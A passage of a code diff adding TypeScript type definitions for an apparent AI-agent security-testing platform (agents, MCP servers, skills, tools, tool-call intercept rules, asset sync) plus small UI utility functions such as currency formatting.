source: "exploration" | "runtime" | "distilled";
|
||||
}
|
||||
|
||||
export interface PromptVersion {
|
||||
version: number;
|
||||
ts: string;
|
||||
note: string;
|
||||
template_text: string;
|
||||
}
|
||||
|
||||
export interface AgentDetail {
|
||||
agent: Agent;
|
||||
prompt: string;
|
||||
variables: PromptVar[];
|
||||
versions: PromptVersion[];
|
||||
visibility: { mcp: number[]; skill: string[] };
|
||||
wrapup_prompt?: string; // 已保存的收尾提示词(空=用内置默认)
|
||||
wrapup_default?: string; // 内置默认收尾提示词(占位/恢复默认)
|
||||
wrapup_max_turns?: number; // 已保存的收尾轮数(0=用内置默认)
|
||||
wrapup_max_turns_default?: number; // 内置默认收尾轮数(供 "0=默认N" 提示)
|
||||
// 任务级超时收尾词(仅 worker/planner,task_timeout_wrapup_supported=true 时才显示该分区)
|
||||
task_timeout_wrapup_supported?: boolean;
|
||||
task_timeout_wrapup_prompt?: string;
|
||||
task_timeout_wrapup_default?: string;
|
||||
task_timeout_wrapup_max_turns?: number;
|
||||
task_timeout_wrapup_max_turns_default?: number;
|
||||
}
|
||||
|
||||
// ---- MCP ----
|
||||
export interface MCPServer {
|
||||
id: number;
|
||||
name: string;
|
||||
transport: "stdio" | "http";
|
||||
command?: string;
|
||||
args: string[];
|
||||
env: Record<string, string>;
|
||||
url?: string;
|
||||
enabled: boolean;
|
||||
tools?: string[]; // mcp_tools_cache (names only, for the count)
|
||||
}
|
||||
|
||||
export interface MCPTool {
|
||||
name: string;
|
||||
description: string;
|
||||
}
|
||||
|
||||
// ---- Skills ----
|
||||
// Fields align with the agentskills.io open specification.
|
||||
// description covers both "what the skill does" and "when to use it".
|
||||
export interface SkillItem {
|
||||
name: string; // unique key = directory name
|
||||
description?: string; // required per spec; covers what + when to use
|
||||
license?: string; // optional: SPDX identifier or free text
|
||||
compatibility?: string; // optional: environment requirements
|
||||
mcps?: string[]; // MCP server names this skill unlocks on load
|
||||
files: string[]; // files in the skill directory
|
||||
}
|
||||
|
||||
// ---- Tools (内置工具目录) ----
|
||||
// key + handler live in Go; only these fields are page-editable. system tools lock
|
||||
// the key and the parameter *structure* (name/type/required) — the per-param
|
||||
// description/default and the agent binding are what move.
|
||||
export interface Tool {
|
||||
key: string;
|
||||
system: boolean;
|
||||
description: string;
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
schema: Record<string, any>; // full JSON-Schema (object with properties)
|
||||
agents: string[]; // bound agent keys
|
||||
enabled: boolean;
|
||||
kind?: "builtin" | "shell" | "command" | "script" | "http"; // 自定义工具类型
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
exec?: Record<string, any>; // 自定义工具执行规格(kind!=builtin)
|
||||
deferred?: boolean; // schema 延迟(SearchExtraTools/ExecuteExtraTool)
|
||||
}
|
||||
|
||||
// ---- Stats ----
|
||||
export interface Stats {
|
||||
assets: number;
|
||||
engine_mode: EngineMode;
|
||||
llm_configured: boolean;
|
||||
roe_enabled: boolean;
|
||||
findings_confirmed: number;
|
||||
}
|
||||
|
||||
// ---- Intercept Rules ----
|
||||
export type InterceptAction = "allow" | "deny" | "ask";
|
||||
export type InterceptMatchTarget = "tool_name" | "tool_input";
|
||||
export type InterceptMatchType = "string" | "regex";
|
||||
|
||||
export interface InterceptRule {
|
||||
id: number;
|
||||
name: string;
|
||||
enabled: boolean;
|
||||
priority: number;
|
||||
match_target: InterceptMatchTarget;
|
||||
match_type: InterceptMatchType;
|
||||
pattern: string;
|
||||
action: InterceptAction;
|
||||
message: string;
|
||||
timeout_enabled: boolean;
|
||||
timeout_seconds: number;
|
||||
timeout_action: "deny" | "allow";
|
||||
created_at: string;
|
||||
updated_at: string;
|
||||
}
|
||||
|
||||
export interface InterceptPending {
|
||||
id: number;
|
||||
rule_id?: number;
|
||||
conversation_id?: number;
|
||||
task_id?: string;
|
||||
agent_name: string;
|
||||
tool_name: string;
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
tool_input: Record<string, any>;
|
||||
status: "pending" | "allowed" | "denied" | "timeout";
|
||||
decided_at?: string;
|
||||
created_at: string;
|
||||
}
|
||||
|
||||
// InterceptApprovalRow enriches InterceptPending with conversation/task and rule context.
|
||||
export interface InterceptApprovalRow extends InterceptPending {
|
||||
conv_title: string; // "" if no linked conversation
|
||||
conv_agent_key: string; // "" if no linked conversation
|
||||
rule_name: string; // "" if rule was deleted
|
||||
}
|
||||
|
||||
// ── 资产同步 (ScopeSentry 数据源) ──────────────────────────────────────────────
|
||||
export interface SSProject {
|
||||
id: string; // MongoDB ObjectID — used as filter.project
|
||||
name: string;
|
||||
logo?: string;
|
||||
AssetCount?: number;
|
||||
tag?: string;
|
||||
}
|
||||
|
||||
export interface SSTask {
|
||||
id: string;
|
||||
name: string; // used as filter.task
|
||||
status?: number;
|
||||
progress?: number;
|
||||
creatTime?: string;
|
||||
endTime?: string;
|
||||
}
|
||||
|
||||
// ConvTokenSummary — one conversation's token total (+ profile/date) for merging
|
||||
// chat usage into the dashboard token stats. GET /api/tokens/conversations.
|
||||
export interface ConvTokenSummary {
|
||||
llm_profile_id: number | null;
|
||||
created_at: string;
|
||||
input_tokens: number;
|
||||
output_tokens: number;
|
||||
cache_read_tokens: number;
|
||||
cache_write_tokens: number;
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
import { type ClassValue, clsx } from "clsx";
|
||||
import { twMerge } from "tailwind-merge";
|
||||
|
||||
export function cn(...inputs: ClassValue[]) {
|
||||
return twMerge(clsx(inputs));
|
||||
}
|
||||
|
||||
export const getInitials = (str: string): string => {
|
||||
if (typeof str !== "string" || !str.trim()) return "?";
|
||||
|
||||
return (
|
||||
str
|
||||
.trim()
|
||||
.split(/\s+/)
|
||||
.filter(Boolean)
|
||||
.map((word) => word[0])
|
||||
.join("")
|
||||
.toUpperCase() || "?"
|
||||
);
|
||||
};
|
||||
|
||||
export function formatCurrency(
|
||||
amount: number,
|
||||
opts?: {
|
||||
currency?: string;
|
||||
locale?: string;
|
||||
minimumFractionDigits?: number;
|
||||
maximumFractionDigits?: number;
|
||||
noDecimals?: boolean;
|
||||
},
|
||||
) {
|
||||
const { currency = "USD", locale = "en-US", minimumFractionDigits, maximumFractionDigits, noDecimals } = opts ?? {};
|
||||
|
||||
const formatOptions: Intl.NumberFormatOptions = {
|
||||
style: "currency",
|
||||
currency,
|
||||
minimumFractionDigits: noDecimals ? 0 : minimumFractionDigits,
|
||||
maximumFractionDigits: noDecimals ? 0 : maximumFractionDigits,
|
||||
};
|
||||
|
||||
return new Intl.NumberFormat(locale, formatOptions).format(amount);
|
||||
}
|
||||
Reference in new issue
Block a user